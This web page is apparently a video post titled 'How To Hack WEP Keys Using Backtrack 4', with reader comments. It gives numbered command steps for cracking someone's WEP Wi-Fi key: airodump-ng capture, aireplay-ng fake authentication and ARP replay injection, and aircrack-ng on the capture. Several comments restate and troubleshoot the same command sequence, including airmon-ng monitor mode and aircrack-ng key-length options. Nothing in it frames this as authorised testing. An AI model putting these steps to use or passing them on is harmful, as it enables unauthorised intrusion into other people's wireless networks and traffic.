How To Hack WEP Keys Using Backtrack 4
This video will show you how to hack WEP keys using Backtrack 4. Here are step by step directions on how to do it: Step 1: Open Konsol and type in “airodump-ng wlan0″ Step 2: Now open up a new Konsol window Step 3: Type in “airodump-ng -w wep -c (Channel) –bssid (BSSID) wlan0 Step 4: Open up a new Konsol Window Step 5: Type in “aireplay-ng -1 0 -a (BSSID) wlan0 Step 6: Open up another Konsol windows Step 7: Type in “aireplay-ng -3 -b (BSSID) wlan0 Step 8: Wait for #data to reach at least 30000 Step 9: After that, press Control + C, and the type in “Dir” then “aircrack-ng wep-01.cap” Heres the line to download Backtrack 4: remote-exploit.org If have any problems, just ask or email me at Kazaskater123@gmail.com
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Comments
can anyone tell me why my data column is going so slow? Its been 12 hours and its only at 22k. In this video it only took a few minutes. How can i increase the speed?
i wouldnt hit CTRL C untill the key is found aircrack-ng will keep running and keeps trying while you collect data so when its cracked then close everything. you can use aircrack-ng with no encyption and just the file name or you can specify using the -n command -n 64, 128,512 ect ect
First download some program that records the screen of your computer
If wlan0 does work for you you can check your interfaces with airmon-ng and that will list them
airmon-ng
airmon-ng start “interface”
(may give you something like mon0)
airodump-ng “interface”
airodump-ng -c “chanel -w “name the file something” –bssid “bssid of ap” “interface
aireplay-ng -1 -a “bssid” “interface”
aireplay-ng -3 -b “bssid” “interface”
aircrack-ng -n 128 “file name-01.cap
Wait or key
try typing in airodump-ng, and it should give you something to type in. instead of typing in wlan0 or eth0, type in why it gives you after typing in airodump-ng
Hey
Kazaskater123,
Good video! I’m having a problem though on the first step when you type “airodump-ng wlan0″, I get this message saying:
‘Interface wlan0:
ioctl (SI0CGIFINDEX) failed: No such device’
Do you know how to fix that? Basically it’s not looking for nearby wifi connections. But even if I substitute wlan0 for eth0, I still get a different message saying:
‘ioctl (SI0CSIWMODE) failed: Operation not supported
ARP linktype is set to 1 (Ethernet) – …
if i boot my wifi card into monitor mode when i restart my computer will it still be in monitor mode?
Backtrack has its networking off by default which is why I couldn’t get online when I just started using it….
Run this command as root or sudo…..
As root: /etc/init.d/networking start
As other user in sudoer file:
sudo /etc/init.d/networking start
That is not a problem of backtrack 
backtrack is the best dist. out there!
if you want to know how to connect to the internet there are thousands of posts about that.
because i cant get backtrack to connect to the internet. Backtracks sucks ass, but aircrack, which is preinstalled on backtrack, is the actually thing you use to hack wep keys.
So you have to get the channel # and BSSID from kismet or something before doing this? Mine keeps saying in use so im guessing get BSSID and channel # then reboot with wireless off and turn on and do video steps.
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its called regret not by all that remains”
this not the name of the song of this video … i need the name of song of this video please …
try getting closer